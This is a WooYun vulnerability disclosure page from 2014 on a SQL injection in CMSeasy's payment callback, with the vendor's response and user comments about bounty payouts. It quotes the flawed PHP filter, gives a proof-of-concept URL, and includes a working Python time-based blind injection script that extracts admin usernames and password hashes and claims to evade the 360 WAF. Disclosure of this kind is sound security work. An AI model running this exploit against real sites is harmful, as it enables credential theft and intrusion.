当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-074669

漏洞标题:CMSeasy SQL注入漏洞一发(bypass自身与360waf)

相关厂商:cmseasy

漏洞作者: magerx

提交时间:2014-09-02 15:33

修复时间:2014-12-01 15:34

公开时间:2014-12-01 15:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-02: 细节已通知厂商并且等待厂商处理中
2014-09-03: 厂商已经确认,细节仅向厂商公开
2014-09-06: 细节向第三方安全合作伙伴开放
2014-10-28: 细节向核心白帽子及相关领域专家公开
2014-11-07: 细节向普通白帽子公开
2014-11-17: 细节向实习白帽子公开
2014-12-01: 细节向公众公开

简要描述:

也不知道重复没有- -!

详细说明:

/lib/default/archive_act.php:

function respond_action() {
include_once ROOT . '/lib/plugins/pay/' . front::$get['code'] . '.php';
$payclassname = front::$get['code'];
$payobj = new $payclassname();
$uri = $_SERVER["REQUEST_URI"];
$__uriget = strstr($uri, '?');
$__uriget = str_replace('?', '', $__uriget);
$__uriget = explode('&', $__uriget);
$_GET = array();
foreach ($__uriget as $key => $val) {
$tmp = explode('=', $val);
$_GET[$tmp[0]] = $tmp[1];
if(preg_match('/\'|select|union|"/i', $tmp1)){
exit('非法参数');
}
}
file_put_contents('logs11.txt', var_export($_GET,true));
$status = $payobj->respond();


由于程序员的失误导致$tmp1的过滤并没有起到作用,同时由于前面会对code进行过滤
继续跟到alipay.php:

function respond() {
if (!empty($_POST)) {
foreach($_POST as $key =>$data) {
if(preg_match('/(=|<|>|\')/', $data)){
return false;
}
$_GET[$key] = $data;
}
}
$payment = pay::get_payment($_GET['code']);


看看get_payment().

public static function get_payment($code) {
$where=array();
$where['pay_code']=$code;
$where['enabled']=1;
$payment1=pay::getInstance()->getrows($where);//注入
$payment = $payment1[0];
if ($payment) {
$config_list = unserialize($payment['pay_config']);
foreach ($config_list AS $config) {
$payment[$config['name']] = $config['value'];
}
}
return $payment;
}


由于cmseasy使用了360防护,但是可以基于白名单绕过,如下
poc:

http://localhost/cmseasy/uploads/index.php/?case=file&case=archive&act=respond&code=alipay'


无法使用"=",写个脚本跑一下
exp:

import urllib2
from time import time
def inject(payload):
url = 'http://localhost/cmseasy/uploads/index.php/?case=file&case=archive&act=respond&code=alipay'
req = urllib2.Request(url+payload)
start = time()
response = urllib2.urlopen(req)
end = time()
index = int(end-start)
return index
wordlist = "123456789:;Abcdefghijklmnopqrstuvwxyz{"
def user_pass():
result = ""
for i in range(1,40):
for num in range(len(wordlist)):
word = ord(wordlist[num])
times = inject("'/**/and/**/IF(ord(substring((select/**/concat(username,0x3a,password)/**/from/**/cmseasy_user),{0},1))<{1},BENCHMARK(2000000,md5('xxx')),null)/**/and/**/'1".format(i,word))
if times>1:
print str(i)+'<=========>'+chr(word-1)
result = result+chr(word-1)
break
print 'username:password<=========>'+result

user_pass()

漏洞证明:

BaiduHi_2014-9-1_16-32-22.jpg

修复方案:

完善过滤

版权声明:转载请注明来源 magerx@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2014-09-03 07:15

厂商回复:

感谢

最新状态:

2014-10-14:漏洞已经处理,补丁后续发出。

2014-10-14:希望留下您的联系方式私信我们。


漏洞评价:

评论

  1. 2014-09-02 17:51 | 进击的zjx ( 普通白帽子 | Rank:295 漏洞数:61 | 工作需要,暂别一段时间)

    我去,$$$这是要发啊!

  2. 2014-09-02 17:56 | ′ 雨。 ( 普通白帽子 | Rank:1231 漏洞数:190 | Only Code Never Lie To Me.)

    我擦 。。。这么快就定价还$$$

  3. 2014-09-02 18:22 | 贫道来自河北 ( 普通白帽子 | Rank:1395 漏洞数:423 | 一个立志要把乌云集市变成零食店的男人)

    真是没赶上好时代啊

  4. 2014-09-02 19:23 | BadCat ( 实习白帽子 | Rank:81 漏洞数:21 | 悲剧的我什么都不会)

    NB.... $$$ SO FAST

  5. 2014-09-02 19:37 | 牛肉包子 ( 普通白帽子 | Rank:254 漏洞数:64 )

    $$$简直炫酷

  6. 2014-09-02 19:41 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    别刺激哥

  7. 2014-09-02 21:04 | 老笨蛋 ( 路人 | Rank:29 漏洞数:8 | 老笨蛋一个)

    @xsser 哥,你刺激大家了。

  8. 2014-09-02 21:22 | f4ckbaidu ( 普通白帽子 | Rank:182 漏洞数:23 | 开发真是日了狗了)

    屌,1w到手了

  9. 2014-09-02 21:47 | pandas ( 普通白帽子 | Rank:585 漏洞数:58 | 国家一级保护动物)

    应该没有1w,cmseasy以前不都是2k么。这次3个$应该是比2k多点,3k、4k的样子,同时是不是意味着漏洞普遍涨价了?

  10. 2014-09-02 22:01 | zhxs ( 实习白帽子 | Rank:32 漏洞数:19 | Jyhack-TeaM:http://bbs.jyhack.com/)

    求科普、、1$是多少钱、、、

  11. 2014-09-03 08:48 | 乐乐、 ( 普通白帽子 | Rank:853 漏洞数:189 )

    @zhxs 1$ 200-500 2$ 501-1000 3$1001-N

  12. 2014-09-03 10:52 | 索马里的海贼 ( 普通白帽子 | Rank:254 漏洞数:24 | http://tieba.baidu.com/f?kw=WOW)

    @乐乐、 错了 $ 100-500;$$ 501-2000;$$$2001-∞

  13. 2014-09-03 11:29 | 乐乐、 ( 普通白帽子 | Rank:853 漏洞数:189 )

    @索马里的海贼 3$$$ 都2K啦 我一直以为是1K

  14. 2014-09-04 19:40 | zhxs ( 实习白帽子 | Rank:32 漏洞数:19 | Jyhack-TeaM:http://bbs.jyhack.com/)

    @乐乐、 灰常感谢、小菜又长见识了

  15. 2014-09-24 22:33 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)

    这个很不错!

  16. 2014-09-27 20:02 | menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)

    这个没有我的那个直接啊,我那个报错注入,也不知道是多少